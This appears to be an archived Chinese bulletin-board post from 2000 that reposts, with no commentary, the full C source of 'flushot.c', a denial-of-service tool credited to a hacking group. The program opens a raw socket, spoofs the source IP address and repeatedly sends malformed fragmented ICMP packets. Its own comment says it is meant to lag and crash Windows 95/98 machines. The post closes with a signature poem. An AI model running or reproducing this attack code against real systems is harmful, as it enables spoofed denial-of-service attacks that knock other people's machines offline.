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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="327.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: flushot.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:40:36 2000), 站内信件 <br>
/* Lags CPU Made By DarkShadow from The flu Hacking Group <br>
Kills Win95-98 machines <br>
http://www.angelfire.com/ar/WarzonE/flu.html <br>
*/ <br>
#include <stdio.h> <br>
#include <unistd.h> <br>
#include <stdlib.h> <br>
#include <string.h> <br>
#include <sys/types.h> <br>
#include <sys/time.h> <br>
#include <sys/socket.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/ip_icmp.h> <br>
void banner(void) { <br>
printf("Remote Flushot v 1.0\n\n"); <br>
printf("\n\n"); <br>
} <br>
void usage(const char *progname) { <br>
printf(" usage:\n"); <br>
printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n" <br>
,pro <br>
gname); <br>
printf(" [Spoofed IP] : ex: 205.56.78.0\n"); <br>
printf(" [Destination IP] : ex: 201.12.3.76\n"); <br>
printf(" [# of FLushot to Send] : 100\n"); <br>
printf("The Flu Hacking Group (c)\n"); <br>
printf("DarkShadow PlimoMan Hack The Planet\n"); <br>
} <br>
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) <br>
{ <br>
struct hostent *host; <br>
memset(addr,0,sizeof(struct sockaddr_in)); <br>
addr->sin_family = AF_INET; <br>
addr->sin_addr.s_addr = inet_addr(name); <br>
if (addr->sin_addr.s_addr == -1) { <br>
if (( host = gethostbyname(name) ) == NULL ) { <br>
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); <br>
return(-1); <br>
} <br>
addr->sin_family = host->h_addrtype; <br>
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); <br>
} <br>
addr->sin_port = htons(port); <br>
return(0); <br>
} <br>
unsigned short in_cksum(addr, len) <br>
u_short *addr; <br>
int len; <br>
{ <br>
register int nleft = len; <br>
register u_short *w = addr; <br>
register int sum = 0; <br>
u_short answer = 0; <br>
while (nleft > 1) { <br>
sum += *w++; <br>
nleft -= 2; <br>
} <br>
if (nleft == 1) { <br>
*(u_char *)(&answer) = *(u_char *)w ; <br>
sum += answer; <br>
} <br>
sum = (sum >> 16) + (sum & 0xffff); <br>
sum += (sum >> 16); <br>
answer = ~sum; <br>
return(answer); <br>
} <br>
int send_winbomb(int socket, <br>
unsigned long spoof_addr, <br>
struct sockaddr_in *dest_addr) { <br>
unsigned char *packet; <br>
struct iphdr *ip; <br>
struct icmphdr *icmp; <br>
int rc; <br>
packet = (unsigned char *)malloc(sizeof(struct iphdr) + <br>
sizeof(struct icmphdr) + 8); <br>
ip = (struct iphdr *)packet; <br>
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); <br>
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>
ip->ihl = 5; <br>
ip->version = 4; <br>
// ip->tos = 2; <br>
ip->id = htons(1234); <br>
ip->frag_off |= htons(0x2000); <br>
// ip->tot_len = 0; <br>
ip->ttl = 30; <br>
ip->protocol = IPPROTO_ICMP; <br>
ip->saddr = spoof_addr; <br>
ip->daddr = dest_addr->sin_addr.s_addr; <br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
icmp->type = 12; <br>
icmp->code = 0; <br>
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1); <br>
if (sendto(socket, <br>
packet, <br>
sizeof(struct iphdr) + <br>
sizeof(struct icmphdr) + 1,0, <br>
(struct sockaddr *)dest_addr, <br>
sizeof(struct sockaddr)) == -1) { return(-1); } <br>
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>
ip->frag_off = htons(8 >> 3); <br>
ip->frag_off |= htons(0x2000); <br>
ip->check = in_cksum(ip, sizeof(struct iphdr)); <br>
icmp->type = 0; <br>
icmp->code = 0; <br>
icmp->checksum = 0; <br>
if (sendto(socket, <br>
packet, <br>
sizeof(struct iphdr) + <br>
sizeof(struct icmphdr) + 8,0, <br>
(struct sockaddr *)dest_addr, <br>
sizeof(struct sockaddr)) == -1) { return(-1); } <br>
free(packet); <br>
return(0); <br>
} <br>
int main(int argc, char * *argv) { <br>
struct sockaddr_in dest_addr; <br>
unsigned int i,sock; <br>
unsigned long src_addr; <br>
banner(); <br>
if ((argc != 4)) { <br>
usage(argv[0]); <br>
return(-1); <br>
} <br>
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { <br>
fprintf(stderr,"ERROR: Opening raw socket.\n"); <br>
return(-1); <br>
} <br>
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } <br>
src_addr = dest_addr.sin_addr.s_addr; <br>
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } <br>
printf("Status: Connected....packets sent.\n",argv[0]); <br>
for (i = 0;i < atoi(argv[3]);i++) { <br>
if (send_winbomb(sock, <br>
src_addr, <br>
&dest_addr) == -1) { <br>
fprintf(stderr,"ERROR: Unable to Connect To luser.\n"); <br>
return(-1); <br>
} <br>
usleep(10000); <br>
} <br>
} <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
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